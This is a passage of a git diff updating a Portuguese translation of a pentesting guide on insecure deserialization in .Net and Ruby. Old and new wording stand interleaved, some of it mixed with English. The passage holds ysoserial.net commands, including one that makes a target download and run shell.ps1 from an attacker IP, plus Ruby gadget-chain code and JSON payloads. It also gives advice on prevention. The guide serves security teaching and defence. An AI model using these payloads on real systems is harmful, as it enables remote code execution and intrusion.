- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** encoded. _Note que **ysoserial.net** irá **encode** o payload usando **UTF-16LE** (encoding usado por padrão no Windows) então se você pegar o raw e apenas encode a partir de um console linux você pode ter alguns **encoding compatibility problems** que vão impedir o exploit de funcionar corretamente (no HTB JSON box o payload funcionou tanto em UTF-16LE quanto em ASCII mas isso não significa que sempre vai funcionar)._
|
||||
- **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Mais parâmetros do ysoserial.net
|
||||
#### More ysoserial.net parameters
|
||||
|
||||
- `--minify` fornecerá uma **carga menor** (se possível)
|
||||
- `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatter fornecido (`Json.Net` neste caso)
|
||||
- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatters contendo "xml" (case insensitive)
|
||||
- `--minify` irá fornecer um **payload menor** (se possível)
|
||||
- `--raf -f Json.Net -c "anything"` Isso irá indicar todos os gadgets que podem ser usados com um formatter fornecido (`Json.Net` neste caso)
|
||||
- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá buscar por formatters contendo "xml" (case insensitive)
|
||||
|
||||
**Exemplos de ysoserial** para criar exploits:
|
||||
**ysoserial examples** to create exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -733,9 +749,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||||
Se você indicar este parâmetro, **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
|
||||
Este parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** também tem um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||||
Se você indicar esse parâmetro, **ysoserial.net** irá **tentar** o **exploit localmente,** assim você pode testar se seu payload funcionará corretamente.\
|
||||
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (do [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -749,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
Isso significa que, para testar a exploração, o código chamará [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
Isso significa que, para testar o exploit, o código chamará [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -760,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.\
|
||||
Assim, o **`--test`** permite entender **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
||||
No exemplo anterior o código é vulnerável ao exploit criado. Portanto, se você encontrar algo similar em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.\
|
||||
Portanto o **`--test`** permite-nos entender **quais trechos de código são vulneráveis** ao exploit de desserialização que **ysoserial.net** pode criar.
|
||||
|
||||
### ViewState
|
||||
|
||||
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-__viewstate-parameter.md) para **executar código arbitrário.** Se você **já conhece os segredos** usados pela máquina da vítima, [**leia este post para saber como executar código**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
Veja [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md)para **executar código arbitrário.** Se você **já conhece os segredos** usados pela máquina vítima, [**read this post to know to execute code**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevenção
|
||||
### Prevention
|
||||
|
||||
Para mitigar os riscos associados à deserialização em .Net:
|
||||
Para mitigar os riscos associados à desserialização em .Net:
|
||||
|
||||
- **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
|
||||
- **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` quando possível.
|
||||
- **Para `JSON.Net`, defina `TypeNameHandling` para `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
|
||||
- **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
|
||||
- **Limite os tipos que podem ser desserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que podem modificar propriedades de arquivos do servidor, potencialmente causando ataques de negação de serviço.
|
||||
- **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
|
||||
- **Controle a instância de tipos de forma segura** para evitar que atacantes influenciem o processo de deserialização, tornando até mesmo `DataContractSerializer` ou `XmlSerializer` vulneráveis.
|
||||
- **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
|
||||
- **Mantenha-se informado sobre gadgets de deserialização inseguros conhecidos** dentro do .Net e assegure-se de que os deserializadores não instanciem tais tipos.
|
||||
- **Isolar código potencialmente arriscado** de código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
|
||||
- **Controle de forma segura a instanciação de tipos** para evitar que atacantes influenciem o processo de desserialização, tornando até mesmo `DataContractSerializer` ou `XmlSerializer` vulneráveis.
|
||||
- **Implemente controles de lista branca** usando um `SerializationBinder` customizado para `BinaryFormatter` e `JSON.Net`.
|
||||
- **Mantenha-se informado sobre gadgets de desserialização conhecidos como inseguros** dentro do .Net e assegure que os desserializadores não instanciem tais tipos.
|
||||
- **Isole código potencialmente arriscado** do código que possui acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
|
||||
|
||||
### **Referências**
|
||||
### **References**
|
||||
|
||||
- Artigo sobre deserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca **marshal**. O primeiro método, conhecido como **dump**, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, **load**, é empregado para reverter um fluxo de bytes de volta em um objeto, um processo conhecido como deserialização.
|
||||
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca **marshal**. O primeiro método, conhecido como **dump**, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Em contrapartida, o segundo método, **load**, é empregado para reverter um fluxo de bytes de volta a um objeto, um processo conhecido como desserialização.
|
||||
|
||||
Para proteger objetos serializados, **Ruby utiliza HMAC (Hash-Based Message Authentication Code)**, garantindo a integridade e autenticidade dos dados. A chave utilizada para esse propósito é armazenada em um dos vários locais possíveis:
|
||||
Para proteger objetos serializados, **Ruby usa HMAC (Hash-Based Message Authentication Code)**, garantindo a integridade e autenticidade dos dados. A chave utilizada para esse propósito é armazenada em um dos seguintes locais:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X cadeia genérica de desserialização para RCE gadget chain (mais info em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -870,18 +886,18 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
Outra cadeia RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Método Ruby .send()
|
||||
### Ruby .send() method
|
||||
|
||||
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
Como explicado em [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada não sanitizada do usuário chegar ao método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
|
||||
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
Além disso, se apenas um parâmetro de **`.send()`** for controlado por um atacante, como mencionado na descrição anterior, é possível chamar qualquer método do objeto que **não precisa de argumentos** ou cujos argumentos têm **valores padrão**.\
|
||||
Para isso, é possível enumerar todos os métodos do objeto para **encontrar alguns métodos interessantes que atendam a esses requisitos**.
|
||||
Além disso, se apenas um parâmetro de **`.send()`** for controlado por um attacker, como mencionado no writeup anterior, é possível chamar qualquer método do objeto que **não precise de argumentos** ou cujos argumentos tenham **valores padrão**.\
|
||||
Para isso, é possível enumerar todos os métodos do objeto para **encontrar alguns métodos interessantes que satisfaçam esses requisitos**.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -903,25 +919,25 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Poluição de classe Ruby
|
||||
### Ruby class pollution
|
||||
|
||||
Verifique como pode ser possível [poluir uma classe Ruby e abusar dela aqui](ruby-class-pollution.md).
|
||||
Veja como é possível [polluir uma classe Ruby e abusar dela aqui](ruby-class-pollution.md).
|
||||
|
||||
### Poluição _json Ruby
|
||||
### Ruby _json pollution
|
||||
|
||||
Ao enviar no corpo alguns valores não hashable, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, uma bypass de autorização pode ser realizada.
|
||||
Ao enviar no body alguns valores não hashabled, como um array, eles serão adicionados em uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no body um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verifica a veracidade de um parâmetro mas depois também usa o parâmetro `_json` para executar alguma ação, um bypass de autorização pode ser realizado.
|
||||
|
||||
Verifique mais informações na [página de poluição _json Ruby](ruby-_json-pollution.md).
|
||||
Veja mais informações na [Ruby _json pollution page](ruby-_json-pollution.md).
|
||||
|
||||
### Outras bibliotecas
|
||||
|
||||
Esta técnica foi retirada [**deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Esta técnica foi retirada [ **deste post do blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
|
||||
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que poderiam ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que é chamado da biblioteca carregada sempre que ela é desserializada (a função a abusar para obter RCE, basicamente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Exemplo básico:
|
||||
Basic example:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -943,7 +959,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch_path, o que foi possível fazer para buscar uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de deserialização não sanitizadas.
|
||||
No caso de tentar abusar do Oj, foi possível encontrar uma gadget class que, dentro da sua função `hash`, chamava `to_s`, que chamava spec, que chamava fetch_path — o que permitia que ela buscasse uma URL aleatória, fornecendo um ótimo detector desse tipo de vulnerabilidades de desserialização não sanitizadas.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -955,7 +971,7 @@ No caso de tentar abusar do Oj, foi possível encontrar uma classe gadget que de
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Além disso, foi descoberto que com a técnica anterior uma pasta também é criada no sistema, o que é um requisito para abusar de outro gadget a fim de transformar isso em um RCE completo com algo como:
|
||||
Além disso, foi encontrado que com a técnica anterior também é criada uma pasta no sistema, o que é um requisito para abusar de outro gadget para transformar isso em um RCE completo com algo como:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -977,48 +993,49 @@ Além disso, foi descoberto que com a técnica anterior uma pasta também é cri
|
||||
}
|
||||
}
|
||||
```
|
||||
Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
Consulte mais detalhes no [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Cache de Bootstrap
|
||||
### Cache do Bootstrap
|
||||
|
||||
Não é realmente uma vulnerabilidade de deserialização, mas um truque interessante para abusar do cache de bootstrap para obter RCE de uma aplicação Rails com uma gravação de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de gravação de arquivo arbitrária abusando do cache do Bootsnap:
|
||||
Abaixo está um breve resumo dos passos detalhados no artigo para explorar uma arbitrary file write vulnerability abusando do Bootsnap caching:
|
||||
|
||||
- Identificar a Vulnerabilidade e o Ambiente
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante grave arquivos arbitrariamente. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a gravação no diretório de cache do Bootsnap (tipicamente sob tmp/cache/bootsnap).
|
||||
A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante escreva arquivos arbitrariamente. Embora a app rode com restrições (apenas certos diretórios como tmp são graváveis devido ao Docker’s non-root user), isso ainda permite escrever no diretório de cache do Bootsnap (tipicamente em tmp/cache/bootsnap).
|
||||
|
||||
- Entender o Mecanismo de Cache do Bootsnap
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
O Bootsnap acelera os tempos de inicialização do Rails armazenando em cache código Ruby compilado, arquivos YAML e JSON. Ele armazena arquivos de cache que incluem um cabeçalho de chave de cache (com campos como versão do Ruby, tamanho do arquivo, mtime, opções de compilação, etc.) seguido pelo código compilado. Este cabeçalho é usado para validar o cache durante a inicialização da aplicação.
|
||||
Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. Ele armazena arquivos de cache que incluem um cache key header (com campos como Ruby version, file size, mtime, compile options, etc.) seguido pelo código compilado. Esse header é usado para validar o cache durante o startup da app.
|
||||
|
||||
- Coletar Metadados do Arquivo
|
||||
- Gather File Metadata
|
||||
|
||||
O atacante primeiro seleciona um arquivo alvo que provavelmente é carregado durante a inicialização do Rails (por exemplo, set.rb da biblioteca padrão do Ruby). Ao executar código Ruby dentro do contêiner, eles extraem metadados críticos (como RUBY_VERSION, RUBY_REVISION, tamanho, mtime e compile_option). Esses dados são essenciais para criar uma chave de cache válida.
|
||||
O atacante primeiro seleciona um arquivo alvo que provavelmente é carregado durante o startup do Rails (por exemplo, set.rb da standard library do Ruby). Executando código Ruby dentro do container, eles extraem metadados críticos (como RUBY_VERSION, RUBY_REVISION, size, mtime, e compile_option). Esses dados são essenciais para confeccionar um cache key válido.
|
||||
|
||||
- Calcular o Caminho do Arquivo de Cache
|
||||
- Compute the Cache File Path
|
||||
|
||||
Replicando o mecanismo de hash FNV-1a de 64 bits do Bootsnap, o caminho correto do arquivo de cache é determinado. Esta etapa garante que o arquivo de cache malicioso seja colocado exatamente onde o Bootsnap espera (por exemplo, sob tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
Ao replicar o mecanismo de hash FNV-1a 64-bit do Bootsnap, determina-se o caminho correto do arquivo de cache. Esse passo garante que o arquivo de cache malicioso seja colocado exatamente onde o Bootsnap espera (por exemplo, under tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Criar o Arquivo de Cache Malicioso
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
O atacante prepara um payload que:
|
||||
|
||||
- Executa comandos arbitrários (por exemplo, executando id para mostrar informações do processo).
|
||||
- Remove o cache malicioso após a execução para evitar exploração recursiva.
|
||||
- Carrega o arquivo original (por exemplo, set.rb) para evitar a falha da aplicação.
|
||||
- Executes arbitrary commands (for example, running id to show process info).
|
||||
- Removes the malicious cache after execution to prevent recursive exploitation.
|
||||
- Loads the original file (e.g., set.rb) to avoid crashing the application.
|
||||
|
||||
Esse payload é compilado em código Ruby binário e concatenado com um cabeçalho de chave de cache cuidadosamente construído (usando os metadados coletados anteriormente e o número da versão correto para o Bootsnap).
|
||||
Esse payload é compilado em código Ruby binário e concatenado com um cache key header cuidadosamente construído (usando os metadados coletados anteriormente e o número de versão correto do Bootsnap).
|
||||
|
||||
- Sobrescrever e Acionar Execução
|
||||
Usando a vulnerabilidade de gravação de arquivo arbitrária, o atacante grava o arquivo de cache elaborado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
|
||||
- Overwrite and Trigger Execution
|
||||
|
||||
### Exploração do Ruby Marshal na prática (atualizado)
|
||||
Usando a arbitrary file write vulnerability, o atacante escreve o arquivo de cache craftado no local calculado. Em seguida, eles acionam um restart do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante o restart, quando Rails requires o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em RCE.
|
||||
|
||||
Trate qualquer caminho onde bytes não confiáveis alcancem `Marshal.load`/`marshal_load` como um ponto de RCE. O Marshal reconstrói gráficos de objetos arbitrários e aciona callbacks de biblioteca/gem durante a materialização.
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
- Caminho de código Rails vulnerável mínimo:
|
||||
Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1032,36 +1049,38 @@ end
|
||||
end
|
||||
end
|
||||
```
|
||||
- Classes de gadgets comuns vistas em cadeias reais: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Marcador de efeito colateral típico incorporado em payloads (executado durante a deserialização):
|
||||
- Classes comuns de gadget vistas em chains reais: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Marcador típico de side-effect embutido em payloads (executado durante unmarshal):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Onde aparece em aplicativos reais:
|
||||
- Armazenamentos de cache do Rails e armazenamentos de sessão historicamente usando Marshal
|
||||
- Backends de trabalho em segundo plano e armazenamentos de objetos baseados em arquivos
|
||||
- Qualquer persistência ou transporte personalizado de blobs de objetos binários
|
||||
Where it surfaces in real apps:
|
||||
- Armazenamentos de cache e de sessão do Rails historicamente usando Marshal
|
||||
- Backends de background jobs e object stores baseados em arquivo
|
||||
- Qualquer persistência customizada ou transporte de blobs binários de objetos
|
||||
|
||||
Industrialized gadget discovery:
|
||||
- Fazer grep por construtores, `hash`, `_load`, `init_with`, ou métodos com efeitos colaterais invocados durante unmarshal
|
||||
- Use as queries do CodeQL para Ruby unsafe deserialization para rastrear sources → sinks e expor gadgets
|
||||
- Valide com PoCs públicas multi-formato (JSON/XML/YAML/Marshal)
|
||||
|
||||
Descoberta industrializada de gadgets:
|
||||
- Grep por construtores, `hash`, `_load`, `init_with` ou métodos com efeitos colaterais invocados durante o desmarshalling
|
||||
- Use as consultas de deserialização insegura do CodeQL para Ruby para rastrear fontes → sumidouros e descobrir gadgets
|
||||
- Valide com PoCs públicas de múltiplos formatos (JSON/XML/YAML/Marshal)
|
||||
|
||||
## Referências
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Trail of Bits – Marshal madness: Uma breve história dos exploits de deserialização em Ruby: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Cadeia de gadgets de deserialização Universal RCE do Ruby 2.x: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- CVE-2019-5420 (Rails 5.2 deserialização insegura): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage por deserialização insegura: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Descobrindo cadeias de gadgets em Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (ajuda de query): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – repositório de PoCs: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
